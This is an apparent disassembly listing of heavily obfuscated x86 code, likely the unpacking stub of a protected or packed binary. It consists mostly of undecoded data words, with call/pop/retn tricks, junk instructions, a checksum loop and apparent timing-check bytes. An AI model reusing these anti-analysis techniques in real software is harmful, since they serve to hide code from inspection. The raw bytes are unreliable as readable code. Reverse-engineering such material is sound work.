		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0D3C2C357h, 600018DDh, 13F19589h,	0BF0F05D1h
		dd 0B5FF61C3h, 5D11BA9h, 0B6C38166h, 0E1BD0B9Eh, 0FF05D122h
		dd 0D1127995h, 139E905h, 840F0000h, 6, 1E418589h, 958905D1h
		dd 5D122B9h, 0E6FC00B0h, 89BD8B70h, 0E405D100h,	0F613C71h
		dd 11283h, 5D9D8900h, 0F05D117h, 860FC8B6h, 1, 9E9F9h
		dd 0F8E90000h, 3F97FD85h, 0BA65AB2Bh, 6, 8BD98B66h, 0D10F319Dh
		dd 0F5C18B05h, 8B04E8C1h, 0E2F766D8h, 0C758589h, 0C82B05D1h
		dd 0FE9h, 97343F00h, 0AD74F4ECh, 6688F071h, 41A81C9Bh
		dd 12E9D18Bh, 84000000h, 735A8C82h, 200C3AF0h, 1FDCA64Ah
		dd 0E58F1852h, 0A1E95Fh, 8BF90000h, 4C4C4485h, 9E95Fh
		dd 0C9270000h, 93C9FC04h, 8333791Ah, 296007C0h,	0D11ED9BDh
		dd 0C19D8B05h, 6105D112h, 0F00C083h, 0C8Dh, 68A0F00h, 8B000000h
		dd 0D120159Dh, 0FB8B6605h, 830FD03Bh, 22h, 58B0Fh, 81660000h
		dd 0E90073F3h, 4Bh, 0BBD9D8Bh, 7E905D1h, 9F000000h, 120C2CC9h
		dd 8D8B38EFh, 0FFFFFFFFh, 0F2AC380h, 0E183F9BFh, 24840F01h
		dd 33000000h, 0D12461BDh, 0FFB70F05h, 0FFFFA583h, 8BFEFFFFh
		dd 0D10D2D9Dh, 44958905h, 0F5F4C4Ch, 0E9D8B7h, 8D000000h
		dd 0D53A1AB5h, 0A0F38005h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B2A8FC3h
		dd 0D11F9DBDh, 5995FF05h, 0FC05D124h, 102EB9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0CD60B411h, 76C9F9B1h, 0FCE1834Ch, 6A9B501h,	6AFC05D1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0F638C356h, 0F77EF733h, 34BDABE3h, 0B8h
		dd 0AD9D8B00h, 0BA05D11Fh, 0
		dd 0B559D8Bh
		db 0D1h, 5
; ---------------------------------------------------------------------------


loc_5B5FFE:				; CODE XREF: ud2_____:005B6008j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B5FFE
		sub	[ebp+5D10311h],	esi
		call	sub_5B6027
		aam	63h
		inc	eax
		aaa
; ---------------------------------------------------------------------------
		db 0CFh, 43h, 81h
		dd 0ADD949A5h, 2CF9004h
		db 0E7h, 0BDh, 98h

; =============== S U B	R O U T	I N E =======================================



sub_5B6027	proc near		; CODE XREF: ud2_____:005B6010p
		movzx	edi, dx
		pop	edi
		or	eax, 88h
		push	0
		push	edx
		call	sub_5B603B
		and	[edx-3Dh], bl
sub_5B6027	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B603B	proc near		; CODE XREF: sub_5B6027+Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B603B	endp

; ---------------------------------------------------------------------------
		db 22h
		dd 8D3A53F0h, 0A8484A5Ah, 21958B1Dh, 6605D110h,	8D8BDF8Bh
		dd 5D11C09h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	1BC35040h, 2DCC52EBh, 75BD8927h, 5005D10Dh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 819D8B58h,	6A05D115h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 474BC352h, 8E8EAh, 6E0E0000h, 0D4DC7E6h
		dd 0BD892172h, 5D124C1h, 49BD835Fh, 5D100h, 90840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 24F49CC3h, 0B7E2348Ch, 0E018D781h, 89514A2Fh, 0D127DD9Dh
		dd 0B85F05h, 9000000h, 0D11599BDh, 0B0B36005h, 861ABA66h
		dd 0BD8D8D61h, 6A05D14Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0BF23C357h,	3FEBAC6Eh
		dd 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0B8D7E1C3h, 0FD05CB81h, 0BD833E9Dh, 5D10679h
		dd 0E4840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7393C355h, 79BD835Bh
		dd 105D106h, 4D4840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0D98B65C3h, 679BD83h
		dd 0F0305D1h, 47386h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0F19AF2DFh, 8B6060B1h
		dd 0D115E9BDh, 259D8B05h, 6105D115h, 0E8D98C66h, 0Ah, 0A87921C5h
		dd 0ED976B14h, 8D89D9DAh, 5D115E5h, 4E1805Bh, 15958B60h
		dd 0F05D12Ah, 48Ch, 33BA6600h, 0C90A616Fh, 120840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 212B1C3h, 83067DCCh,	8BB1F780h, 0D108A99Dh, 31858B05h
		dd 0F05D117h, 38Fh, 0D9BF0F00h,	0E718533h, 6A05D1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0FD8CFBC3h, 918B5298h, 68A0FBBh, 81000000h, 0BBCC71F3h
		dd 7985890Ch, 5005D12Dh, 0AE282CBBh, 24048972h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 37C35040h, 9006A90h
		dd 0D10FF98Dh, 77CE6805h, 52503E24h, 8E0F60h, 8B000000h
		dd 310F61FBh, 10E860h, 39110000h, 4C112427h, 0BA44B668h
		dd 463E8CA6h, 615B7195h, 3481585Ah, 3B743124h, 9E5BB3Eh
		dd 95FF0609h, 5D1111Dh,	9D29FE8Bh, 5D10D41h, 83138589h
		dd 9D8B05D4h, 5D11045h,	28FE9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 574F29FFh
		dd 5112A638h, 858B0C3Bh, 5D4830Bh, 0CE9h, 2C2AB200h, 0A8BDB7E7h
		dd 43FAE3B8h, 1800C702h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F7EAC350h
		dd 6901C12Fh, 0BD8BBBC1h, 5D12335h, 830FB58Bh, 6A05D4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0D88ACDC3h, 9DB9BB21h, 858B1B38h, 5D122A9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 47C35747h, 0CE87819h
		dd 76000000h, 0D1CA97D2h, 49CECE0Dh, 8B020A3Ch,	0D12611BDh
		dd 6895F05h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0CBC35242h, 10E9h, 35DE3B00h, 3B319EA4h, 2537662Ch
		dd 672D0C3Dh, 31858BA1h, 6A05D117h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3C2FC350h
		dd 8B681030h, 0D10EE9BDh, 97E78105h, 8938DDC5h,	0BF0F0446h
		dd 6880FD9h, 0F000000h,	83h, 0FA8B9600h, 6A9650h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0FCAC18C3h, 0DA7B2FD1h, 1D37CA7h, 0D120ADB5h, 0BB5FF05h
		dd 6A05D483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 3F5DC356h, 0FB3CA8D1h,	391C5A47h
		dd 4E8h, 1F03FF00h, 9FBF6600h, 0DE95061h, 0BF000000h, 0DBBEDA80h
		dd 62DC1B9Ch, 0AEBA7C40h, 424448Bh, 61605160h, 0B952505Eh
		dd 1BF75508h, 0B966310Fh, 585A88BBh, 60008B61h,	0CC13BE66h
		dd 0EE9h, 9F112900h, 42D3994Eh,	8C7AABAAh, 613211B2h, 4244489h
		dd 1D890Fh, 12E80000h, 0E6000000h, 74CE5304h, 4E0BD00Fh
		dd 12B68E4Dh, 0CF60E681h, 0FE6ABFD2h, 585B70FCh, 15858B60h
		dd 0F05D111h, 8D61C7B7h, 0D4831385h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 268481C0h
		dd 0DCB17F0h, 3B4FBF50h, 4891419h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 87B9AE32h
		dd 9D8BF701h, 5D1175Dh,	111D95FFh, 0BD0305D1h, 5D1069Dh
		dd 0A840F61h, 0F000000h, 48Ah, 96BB6600h, 7985C73Ah, 305D106h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0EC5C356h, 7FCE0C48h, 5FFC5631h
		dd 3820Fh, 0C7800000h, 13BD83E4h, 5D483h, 2E840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0DE61E9C3h, 66DF8103h, 0E94B3A90h, 1Fh, 95BBBF66h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 188DC350h, 68E0F90h,	89000000h, 0D106FDB5h, 0DE805h
		dd 0B6210000h, 0D2C30B13h, 9435CEA2h, 892A15F0h, 0D113E1B5h
		dd 6A5B05h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 27647C3h,	88101048h, 0DBBF0F06h, 12498589h
		dd 0BD8305D1h, 5D10679h, 0A3850F03h, 8B000003h,	0D123419Dh
		dd 13BD8305h, 5D483h, 390840Fh,	5F530000h, 8313B5FFh, 0BBF05D4h
		dd 237AC325h, 0D12B15BDh, 0FD95FF05h, 0F05D102h, 0B89h
		dd 5860F00h, 0BF000000h, 2DD6CC76h, 8307B58Bh, 0BD3305D4h
		dd 5D11D99h, 106C7h, 8D0F0001h,	6, 0AC18D89h, 509605D1h
		dd 6169BF66h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0AFEE225h, 0FC9091Ch, 0B5FFF8BFh
		dd 5D48313h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0FC35646h, 88655983h, 430456C5h, 0E8CEB3A4h, 12h
		dd 8D47F43Dh, 9DD59B25h, 0BC32E7C1h, 104C3994h,	9D8B08F4h
		dd 5D11979h, 8195FF5Fh,	0F05D106h, 68Eh, 399D8B00h, 8B05D10Ch
		dd 0D48307B5h, 75BD3305h, 8B05D127h, 0D1179185h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 8D0816F6h, 0CEBF2DB0h, 6654B416h, 0A945F781h, 2231B589h
		dd 868905D1h, 0C4h, 66DA8B60h, 618378B8h
		dd 21958BF9h, 6605D110h, 837509BBh, 816604C2h, 89B9F2F7h
		dd 8DF92050h, 0D4963185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 786264CAh
		dd 12E962h, 288A0000h, 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h
		dd 16B3D917h, 0B88689h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 6D4BF6C3h, 6ADF8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C8C35545h, 65B218FFh
		dd 0B1BB5953h, 0FF293099h, 0D48313B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 738A96DAh, 0F595FF20h, 6A05D131h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 2A3AC352h
		dd 8B46BCE4h, 8D31BF05h, 51504F36h, 895BF88Bh, 8B662434h
		dd 13B5FFDEh, 2905D483h, 0D11E319Dh, 0D595FF05h, 6005D102h
		dd 5E9h, 43CD8A00h, 8361273Fh, 0D11F7DBDh, 840F0005h, 66h
		dd 9646DF80h, 10E8h, 0DE31CB00h, 0C6C7D9D3h, 2A816E43h
		dd 44C77799h, 7E985h, 0FF850000h, 80D8033Fh, 0F505B3Dh
		dd 158Eh, 10E900h, 21CB0000h, 62E9DEC7h, 7E49300Bh, 88FB2F51h
		dd 6A96A60Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0E637C356h, 7A97424Eh,	0B5FF0CD0h
		dd 5D48313h, 1BA19589h,	95FF05D1h, 5D11359h, 16CD8D29h
		dd 0B5FF05D1h, 5D48313h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 12C35141h, 3432EF2Ch,	0BFC69D38h, 670F0F95h
		dd 1D3995FFh, 8F0F05D1h, 0Ch, 68F0Fh, 0BD890000h, 5D1243Dh
		dd 0CE9h, 2627DB00h, 36CDCFE1h,	0A8FF9800h, 0DBD836Ah
		dd 205D107h, 2B840Fh, 0CE80000h, 29000000h, 8BD9BFB7h
		dd 0FC2CD996h, 664BFD51h, 5F9DD5BFh, 17A5858Bh,	0BF6605D1h
		dd 0FE8BD1BDh, 8B0000C6h, 0D117999Dh, 5585C705h, 5D11Fh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4F2EC355h, 98C6702h, 659CEDD9h
		dd 0F61B509h, 1AE905D1h, 6AFFFFF3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8F61C352h
		dd 8B26A734h, 0D12289BDh, 6AC18B05h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2B2EC355h
		dd 68D858Dh, 0BD2905D1h, 5D112F1h, 8B525090h, 50310FF9h
		dd 0FFE8B52h, 39BB6631h, 5A585ADFh, 52505058h, 0A0B7310Fh
		dd 6A90585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 9776C351h, 8167E14Eh, 0B5723DDBh
		dd 899D0932h, 6605D112h, 6A6319BFh, 89DC8A00h, 0D1209DB5h
		dd 8B006A05h, 0A6858DD8h, 6A05D5CEh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 9EBCC357h
		dd 0FB7EA59h, 488h, 0BBBF6600h,	0BB66FC4Bh, 0C083215Bh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0B70F2745h, 8A5090D8h, 0F98A90D9h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89C345C3h, 0D126598Dh, 6ADA8B05h, 458D8900h,	0FF05D111h
		dd 0D11B3995h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 6F06D1F5h, 8D8D5F52h
		dd 5D481CFh, 16298D89h,	0D1FF05D1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 42C35343h, 0CADEB662h, 0D88B50A2h
		dd 699D8B5Bh, 8305D11Eh, 0D120E9BDh, 850F0105h,	66h, 26AFE8Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 55C35343h
		dd 0B907AFB6h, 0B70F60BEh, 14800FD7h, 0E9000000h, 0Fh
		dd 0D0361D6Bh, 70F61C8h, 2B599159h, 61CD9B7Dh, 47C7BF90h
		dd 5050456Ah, 8B310F52h, 90585ADFh, 0C318D89h, 95FF05D1h
		dd 5D131F5h, 15DD8589h,	15E905D1h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D5CEB0h
		push	0
		push	ebx
		call	sub_5B6CEA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6CEA	proc near		; CODE XREF: ud2_____:005B6CE2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B6CEA	endp

; ---------------------------------------------------------------------------
		dw 1A3Eh
		dd 858DF546h, 5D472B1h,	0F5BF6651h, 50505B63h, 0EEBF6652h
		dd 66310FF8h, 585AD98Bh, 0E8240489h, 0Bh, 6ECBE2C0h, 0B64BC119h
		dd 311CE195h, 0D123E5B5h, 0FF645F05h, 35h, 64FE8A00h, 2589h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F24695C3h, 0F1C7DA1Bh, 1985FF54h, 6A05D127h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0C6E7C355h, 73C3FA63h, 4FC9308Bh,	2DBDBD8Bh
		dd 0FF6A05D1h, 11B1BD89h, 0B70F05D1h, 91B5FFF9h, 6A05D11Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 211EC356h, 70E46E1Ch, 0E82E1D13h,	14h, 0C5670197h
		dd 1607866Bh, 0B7A50F6Fh, 0FD75EEBh, 0EC40F21Dh, 311D9589h
		dd 0FF5B05D1h, 0D1127995h, 13DE905h, 0B00000h, 70E6F88Ah
		dd 1DD5BD2Bh, 0BD2905D1h, 5D10F69h, 8E0F71E4h, 5, 0E4470BFh
		dd 0F613C6Ah, 11683h, 14E900h, 71E00000h, 0EF273A2Dh, 0C1A67907h
		dd 0F460C5DAh, 0DABB2858h, 0B60F5467h, 0C98D29C8h, 0BA05D117h
		dd 6, 7860Fh, 0BF560000h, 2D688070h, 8BDF8B5Bh,	89BF66C1h
		dd 4E8C15Bh, 92C98060h,	1055BD29h, 666105D1h, 9D31E2F7h
		dd 5D120DDh, 0EF81C82Bh, 69DE0BCAh, 0BB66D18Bh,	8166E452h
		dd 0E934DFE3h, 0ABh, 11E9h, 9C61F700h, 0A42B3AD9h, 9D641B84h
		dd 0E7857A5Ah, 858BB0F6h, 47554C50h, 68A0Fh, 0BD0B0000h
		dd 5D111A5h, 8B07C083h,	0D13295BDh, 0C08305h, 98DBD31h
		dd 0D03B05D1h, 10830Fh,	0A2BF0000h, 0E91B4048h,	5Fh, 82D8D09h
		dd 8D8B05D1h, 0FFFFFFFFh, 12AD9D89h, 0E18305D1h, 44840F01h
		dd 8B000000h, 0D11591BDh, 8A506005h, 85315BCAh,	5D1069Dh
		dd 0FFA58361h, 0FEFFFFFFh, 0EE8h, 0AA412900h, 0CDA16FA8h
		dd 0C5AD80E8h, 0FBFD479h, 68Bh,	75B58900h, 5F05D127h, 4C509589h
		dd 0E94755h, 8D000000h,	0D54A48B5h, 0DF816605h,	6A0CDCh
		dd 2765B589h, 0BF6605D1h, 95FF2A12h, 5D12459h, 69B982B3h
		dd 8300000Eh, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 328A9FC3h, 0FC0EAEC1h, 124D9D03h
		dd 0B805D1h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 2390C355h, 0CE9C7h
		dd 0BF3E0000h, 0AE858BC6h, 3A5E444Ah, 0D22B2AEAh, 0ADDEB70Fh
		dd 0E8D1C233h, 0E983D003h, 0B3F47504h, 55006A3Ah, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 2EE38149h, 0D6845A5h, 88h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 33C35242h, 58753B48h, 4CD780C3h
		dd 1021958Bh, 0FB8B05D1h, 1C098D8Bh, 0EF8105D1h, 6B259B28h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0F4DFA8C3h, 81BB1DB9h, 89342ECBh, 0D1261DB5h, 0D7816605h
		dd 0BD8B34EBh, 5D111FDh, 49BD83h, 0F0005D1h, 6184h, 11E8FC00h
		dd 26000000h, 0FED267C8h, 9689617Ah, 0E2CBC6FFh, 289DD2F4h
		dd 28F8C781h, 0B85B1073h, 0
; ---------------------------------------------------------------------------
		or	edi, [ebp+5D109E9h]
		lea	ecx, [ebp+5D14CBDh]
		push	0
		push	edi
		call	sub_5B70B7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B70B7	proc near		; CODE XREF: ud2_____:005B70AFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B70B7	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 0C2318729h, 0C4EC879Eh, 0C898F781h, 0E1FF538Eh, 15C98589h
		dd 0BD8305D1h, 5D10679h, 0BB840F00h, 0F000004h,	58Fh, 0F3816600h
		dd 0CE95DA9h, 0C6000000h, 87C613A3h, 10CB5C84h,	83245BBDh
		dd 0D10679BDh, 840F0105h, 4ADh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 9DC35040h, 9C1E2783h, 5E90Ch
		dd 47DD0000h, 835AEEDCh, 0D10679BDh, 860F0305h,	43Fh, 1F6D8589h
		dd 6A6005D1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0E65BC353h, 0DE8ACEEAh, 6AD98C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 2679C352h, 0BB3E7B13h, 85098680h,	5D11805h
		dd 0B304E180h, 0FC90A36h, 0DF84h, 0A1852900h, 8B05D106h
		dd 0D1173185h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 43927B27h, 0E6E8BBDAh
		dd 0F88B37DAh, 0E718533h, 8D8905D1h, 5D10EADh, 12E850h
		dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh,	1D0FD75Eh
		dd 0FE9h, 93C26400h, 3D4573A5h,	0C402DAECh, 66242600h
		dd 2404895Fh, 1198501h,	6A05D1h, 336468FCh, 8B663940h
		dd 243481F9h, 395F309Bh, 95FFF88Bh, 5D1111Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 11C35242h, 9D8B5134h
		dd 5D12DDDh, 68C0Fh, 9D8B0000h,	5D13005h, 19B58960h, 8905D117h
		dd 0D10FEDB5h, 85896105h, 5D48313h, 28EE9FCh, 0BD290000h
		dd 5D12579h, 830B858Bh,	6A05D4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 198014C3h, 68A80D53h
		dd 89F4BA02h, 0D101518Dh, 0BF0F6005h, 958B60C7h, 5D11E35h
		dd 2B59589h, 616105D1h,	1800C7h, 9D8B0000h, 5D11E39h, 830FB58Bh
		dd 6A05D4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 77DEADC3h, 82333372h, 87BF6631h, 0BCBB6685h
		dd 0A9858BECh, 6A05D122h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9F39C351h, 689D98Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 86C35040h
		dd 2C3EB2F3h, 0F1EF29Bh, 687h, 0BD9D8B00h, 0F05D12Dh, 858BDBBFh
		dd 5D11731h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0E2C35141h, 0E8601ABFh,	7, 5FE58F18h, 8BC6FB5Dh
		dd 8D895AD9h, 5D1139Dh,	4468961h, 50DE8B66h, 0AE95250h
		dd 90000000h, 2493CB6h,	535C6C91h, 0F310FE6h, 489h, 58BF6600h
		dd 89585A60h, 9E82434h,	65000000h, 22E261C5h, 5B66C8EFh
		dd 0B5FF5BF8h, 5D4830Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 4BC35646h, 8BC24FEEh,	4E8DFh,	3FF0000h
		dd 0FE9001Fh, 0AC000000h, 425ECD6h, 2189D248h, 0C2A0B295h
		dd 0F504677h, 1381h, 0EE900h, 0C27A0000h, 624E4659h, 74D8878Ah
		dd 28F364A1h, 424448Bh,	24B75650h, 8B5B5Bh, 4489F98Bh
		dd 57600424h, 5ECA8B66h, 13E9h,	0C32D7000h, 71D9858Ch
		dd 91977F44h, 1963BB2Fh, 0C39F3C2Ch, 6A5861h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 340857C3h
		dd 0E816967Eh, 0FFBF0FA3h, 8313858Dh, 6A05D4h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0A57E35C3h, 17499D8Bh, 509005D1h, 0FE8B6650h, 51505F5Fh
		dd 11E9h, 0A18BC200h, 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h
		dd 905F84F9h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0C8C35141h, 0E000AE9Bh,	68F0Fh,	95890000h, 5D12721h
		dd 111D95FFh, 0B50105D1h, 5D12B0Dh, 52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 47A7CBA1h
		dd 1D651C46h, 0BF578880h, 3F26DE5Ch, 0FB8B665Fh, 67985C7h
		dd 305D1h, 81660000h, 83AE24EBh, 0D48313BDh, 840F0005h
		dd 2Bh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 0BC35141h, 0FB8BE6A8h, 21E9h, 45BD8900h, 5005D11Fh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 446454C3h, 0BD2BD0C0h, 5D1207Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 84C35545h, 9ADBD8Bh
		dd 0BD8305D1h, 5D10679h, 88850F03h, 66000003h, 0D4A9E781h
		dd 8313BD83h, 0F0005D4h, 37684h, 0D1858900h, 0FF05D11Ah
		dd 0D48313B5h, 0F88B6605h, 1AB18529h, 95FF05D1h, 5D102FDh
		dd 10E9h, 0DC77F800h, 9358E5BEh, 0EB8ABE7Bh, 6B5CA403h
		dd 0C4BB66BFh, 7B58B80h, 5005D483h, 8A58D29h, 0C75F05D1h
		dd 1000106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0B863CCA8h, 0CE8h, 67E4B300h, 0B215088Eh
		dd 1AA6B020h, 0FE99Eh, 5AAB0000h, 0BC4C05B8h, 0F9B2446Eh
		dd 0D6CA0A14h, 0E8965F62h, 0Fh,	27739F6Ch, 0D4DFC88Eh
		dd 48B78CF5h, 8AF0958Fh, 60505BDCh, 11E8h, 97ED4200h, 5335B7EFh
		dd 32F05B29h, 0E2441EDFh, 8E934A7h, 42000000h, 8C7AABAAh
		dd 5A3211B2h, 0FE85250h, 34000000h, 7644A220h, 30AB7891h
		dd 6CE54A29h, 0F5FBF50h, 14AEBF31h, 585A679Fh, 0BF669661h
		dd 0B5FFAEA4h, 5D48313h, 0FF45E380h, 0D1068195h, 0EE905h
		dd 7CA30000h, 95B2E80Fh, 89CD4885h, 0F4CAA0AAh,	8307B58Bh
		dd 6A05D4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0CB2C0EC3h, 8BF951C0h, 0D11FA59Dh, 91858B05h
		dd 6A05D117h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 30E1C350h, 0B7A9F44Fh,	20E5B589h
		dd 868905D1h, 0C4h, 6BEBBF66h, 1021958Bh, 6A05D1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6ECD77C3h, 5DF2C82Bh, 0FE910h, 0CDBD0000h, 5314102Ch
		dd 0A8FA269Eh, 0E1194E1Fh, 4C28338h, 8D89D88Ah,	5D112C5h
		dd 81205089h, 199B6DDFh, 0BD8D897Ah, 8D05D120h,	0D4963185h
		dd 0DBD8B05h, 8905D101h, 0B886h, 61CDBF00h, 6A0415h, 11C0EB81h
